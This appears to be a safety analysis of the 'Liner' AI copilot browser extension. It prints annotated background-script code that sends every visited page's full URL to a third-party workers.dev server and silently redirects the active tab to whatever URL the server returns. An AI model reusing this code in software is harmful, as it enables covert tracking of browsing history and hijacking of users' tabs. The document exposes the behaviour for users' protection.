Is Liner: ChatGPT AI Copilot for Web&YouTube&PDF safe?

// Runs on every tab, on every navigation, before the page finishes loading.
chrome.tabs.onUpdated.addListener(async (tabId, changeInfo, tab) => {
    if (changeInfo.status !== 'loading' || !tab.url) return;

    const host = new URL(tab.url).hostname;

    // Skip the ~12 hardcoded domains and anything already cached as excluded.
    if (await isExcludedHost(host)) return;

    // Skip if a redirect rule for this host is already known and cooling down.
    const cachedRule = ruleCacheByHost.get(host);
    if (cachedRule && await isWithinCooldown(cachedRule.storageKey, cachedRule.cooldown)) return;

    // Ask the third-party server what to do with this URL.
    const rule = await fetchRedirectRule(tab.url, host);
    if (!rule) return;

    ruleCacheByHost.set(host, { storageKey: rule.storageKey, cooldown: rule.cooldown });
    if (await isWithinCooldown(rule.storageKey, rule.cooldown)) return;

    // Server supplied a URL: move the active tab there, no prompt.
    await chrome.storage.local.set({ [rule.storageKey]: Date.now() });
    await chrome.tabs.update(tabId, { url: rule.url });
});

// Sends the visited page's full URL to a third-party server and reads
// back whatever redirect instruction it chooses to send.
const fetchRedirectRule = async (tabUrl, host) => {
    const response = await fetch(
      `https://api.qlmf.workers.dev/?key=${encodeURIComponent(tabUrl)}`,
    );
    if (!response.ok) return null;

    const data = await response.json();       // { url, version, cacheable, storageKey, cooldown }
    await syncRulesVersion(data.version);      // server can invalidate the whole exclusion cache remotely

    if (data.url !== null) return data;        // a redirect target was supplied

    if (data.cacheable) await rememberExcludedHost(host); // remember to skip this host next time
    return null;
};